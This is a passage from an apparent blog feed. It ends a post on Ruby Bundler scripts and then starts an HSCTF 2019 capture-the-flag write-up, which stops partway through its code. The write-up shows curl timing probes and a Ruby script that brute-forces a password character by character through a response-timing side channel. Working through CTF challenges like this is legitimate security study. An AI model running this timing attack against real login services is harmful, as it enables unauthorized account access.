\u003ccode\u003eGemfile\u003c/code\u003e, \u003ccode\u003eGemfile.lock\u003c/code\u003e, and \u003ccode\u003e.bundle/config\u003c/code\u003e. Ensure to ignore the \u003ccode\u003evendor/\u003c/code\u003e directory, as it can be reproduced from the lockfile.\u003c/p\u003e\n\u003ch2 id=\"write-some-code\"\u003eWrite some code\u003c/h2\u003e\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ch\"\u003e#!/usr/bin/env ruby\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;colorize\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Hello world\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eRunning that script with \u003ccode\u003e./greet.rb\u003c/code\u003e greets us with an error.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ ./greet.rb\n# ...\nrequire: cannot load such file -- colorize (LoadError)\n# ...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow that gems are installed locally, the system Ruby has no awareness of them, and can't find \u003ccode\u003ecolorize\u003c/code\u003e. It needs to be run in the context of the gemset defined by the Gemfile, not the system's \u003cem\u003eglobal\u003c/em\u003e gemset.\u003c/p\u003e\n\u003cp\u003eThis is a job for \u003ccode\u003ebundle exec\u003c/code\u003e, which runs its parameters in the context of the gemset.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ bundle \u003cspan class=\"nb\"\u003eexec\u003c/span\u003e ./greet.rb\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHello world\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIt would be nice if there were no need to bear the mental overhead or extra typing from having to prefix everything with \u003ccode\u003ebundle exec\u003c/code\u003e. In fact it's so common that \u003ca href=\"https://github.com/search?q=alias+bundle+exec\u0026amp;type=Code\" rel=\"noreferrer nofollow noopener\"\u003ealiases are littered amongst everyone's dotfiles\u003c/a\u003e \u003cem\u003ejust\u003c/em\u003e to get around the fact that this is such an annoying thing to do.\u003c/p\u003e\n\u003cp\u003eInstead, require \u003ccode\u003ebundler/setup\u003c/code\u003e at the top of your script, which will set up the environment according to the gemset, just like \u003ccode\u003ebundle exec\u003c/code\u003e does.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ch\"\u003e#!/usr/bin/env ruby\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bundler/setup\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;colorize\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Hello world\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIf it can be assumed that all dependencies specified are needed and can simply be auto-required, then Bundler also provides a helper for this.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ch\"\u003e#!/usr/bin/env ruby\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bundler\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"no\"\u003eBundler\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequire\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Hello world\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c!-- I enjoy the symmetry of \"require bundler\" + \"bundler require\". --\u003e\n\u003cp\u003eThis way any gem installed will be required automatically.\u003c/p\u003e\n\u003cp\u003eHowever, shouldn't each dependency be manually specified in order to make it slightly \u003cem\u003emore\u003c/em\u003e difficult to add them, since if anything the barrier should be higher, not lower?\u003c/p\u003e\n\u003cp\u003eIt's each developer's own responsibility to think long and hard before adding any new dependencies, but explicit is generally better.\u003c/p\u003e\n\u003ch2 id=\"increase-portability\"\u003eIncrease portability\u003c/h2\u003e\u003cp\u003eIt's still not possible to call this script from anywhere on the system.\u003c/p\u003e\n\u003cp\u003eIf it were in your \u003ccode\u003ePATH\u003c/code\u003e, or called absolutely from outside the project directory, you would encounter an error.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ ./greet.rb\nHello world\n$ cd ..\n$ ./greeter/greet.rb\n# ...\nCould not locate Gemfile or .bundle/ directory (Bundler::GemfileNotFound)\n# ...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eBundle looks for a \u003ccode\u003eGemfile\u003c/code\u003e or \u003ccode\u003e.bundle\u003c/code\u003e directory relative to the caller, not the script file itself.\u003c/p\u003e\n\u003cp\u003eLuckily, calling Bundler with the environment variable \u003ccode\u003eBUNDLER_GEMFILE\u003c/code\u003e set to the path of the Gemfile ensures it starts with the correct environment.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ BUNDLER_GEMFILE=./greeter/Gemfile bundle exec ./greeter/greet.rb\nHello world\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe resulting shell script can be run from anywhere on the system, and it will work.\u003c/p\u003e\n\u003cp\u003eA downside is that a separate script is needed to call the main Ruby project's entrypoint, though. Sometimes you might want to skip the extra level of indirection.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"no\"\u003eDir\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echdir\u003c/span\u003e \u003cspan class=\"n\"\u003e__dir__\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bundler/setup\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;colorize\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eTemporarily changing the directory to the location of the Gemfile (in this case in the same directory as the script itself) allows Bundler to figure out what it needs to do, before changing it back for the rest of the script execution. Ruby's ability to pass a block to \u003ccode\u003eDir.chdir\u003c/code\u003e makes the code surprisingly elegant.\u003c/p\u003e\n\u003cp\u003eIf these requirements are slightly different for your configuration then you can adjust the \u003ccode\u003e__dir__\u003c/code\u003e to point to a different Gemfile. Imagine shared dependencies across a suite of scripts.\u003c/p\u003e\n\u003cp\u003eI am unaware of any caveats to doing this, so feel free to let me know if there are any. It makes one wonder why Bundler can't be a little smarter about how it searches for Gemfiles.\u003c/p\u003e\n\u003cp\u003eThat leaves the following as the final snippet.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ch\"\u003e#!/usr/bin/env ruby\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"no\"\u003eDir\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echdir\u003c/span\u003e \u003cspan class=\"n\"\u003e__dir__\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;bundler/setup\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003erequire\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;colorize\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eputs\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Hello world\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eA script that can be run from anywhere that will never use a dependency outside of the ones described in the Gemfile sitting next to it, with a fully isolated vendor directory, and where every future run of \u003ccode\u003ebundle\u003c/code\u003e will get an exact reproduction of the dependency state, guaranteed to work.\u003c/p\u003e\n",
      "date_published": "2019-07-26T00:00:00Z"
    },
    {
      "id": "bWgX17V7A8nmBxmLjgxvGA",
      "url": "https://textplain.org/hsctf-networked",
      "title": "hsctf – networked password",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from HSCTF 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eStoring passwords on my own server seemed unsafe, so I stored it on a seperate one instead. However, the connection between them is very slow and I have no idea why.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://networked-password.web.chal.hsctf.com\" rel=\"noreferrer nofollow noopener\"\u003ehttps://networked-password.web.chal.hsctf.com\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe page is a web interface containing a form with a password input and a button to submit it to the server.\u003c/p\u003e\n\u003cp\u003eThe description hints at a timing attack, so let's test some timings.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003etime\u003c/span\u003e curl \u003cspan class=\"nv\"\u003e$HOST\u003c/span\u003e --data \u003cspan class=\"s1\"\u003e\u0026#39;password=a\u0026#39;\u003c/span\u003e      \u003cspan class=\"c1\"\u003e# 0.554 s\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003etime\u003c/span\u003e curl \u003cspan class=\"nv\"\u003e$HOST\u003c/span\u003e --data \u003cspan class=\"s1\"\u003e\u0026#39;password=hs\u0026#39;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 1.647 s\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003etime\u003c/span\u003e curl \u003cspan class=\"nv\"\u003e$HOST\u003c/span\u003e --data \u003cspan class=\"s1\"\u003e\u0026#39;password=hsctf{\u0026#39;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 3.647 s\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIt appears that the more characters in the password that are correct, the longer the request takes.\u003c/p\u003e\n\u003cp\u003eLet's build a bruteforcer that will try each possible character in the search space and at each iteration accept the request that takes the longest.\u003c/p\u003e\n\u003cp\u003eA \u003ccode\u003etimer\u003c/code\u003e function is necessary. Here's one that accepts a block to time and returns the number of milliseconds.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003etimer\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eTime\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eyield\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"no\"\u003eTime\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enow\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eto_i\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe next function \u003ccode\u003etry\u003c/code\u003e receives a possible password and returns how long the server took to respond. Most of the function is spent on Ruby's low-level \u003ccode\u003eNet::HTTP\u003c/code\u003e namespace.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003euri\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eURI\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"no\"\u003eHOST\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eNet\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"no\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euri\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003euri\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003euse_ssl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kp\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eheaders\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;application/x-www-form-urlencoded\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ereq\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eNet\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"no\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"no\"\u003ePost\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euri\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest_uri\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eheaders\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ereq\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebody\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;password=\u003c/span\u003e\u003cspan class=\"si\"\u003e#{\u003c/span\u003e\u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003etimer\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e \u003cspan class=\"n\"\u003ereq\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eDefine the search space and starting flag.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003espace\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0123456789_{}abcdefghijklmnopqrstuvwxyz\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eflag\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hsctf{\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eTo figure out when the \u003cabbr title=\"End Of File\"\u003eEOF\u003c/abbr\u003e (end of flag) has been reached, the code should loop until the first \u003ccode\u003e}\u003c/code\u003e is encountered.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"no\"\u003eMax\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eStruct\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"ss\"\u003e:delay\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"ss\"\u003e:char\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eupdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enew_delay\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003enew_char\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003enew_delay\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003edelay\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003edelay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enew_delay\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enew_char\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"ow\"\u003enot\u003c/span\u003e \u003cspan class=\"n\"\u003eflag\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eend_with?\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;}\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003emax\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"no\"\u003eMax\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003espace\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeach\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Test \u003c/span\u003e\u003cspan class=\"si\"\u003e#{\u003c/span\u003e\u003cspan class=\"n\"\u003eflag\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebold\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eyellow\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebold\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan 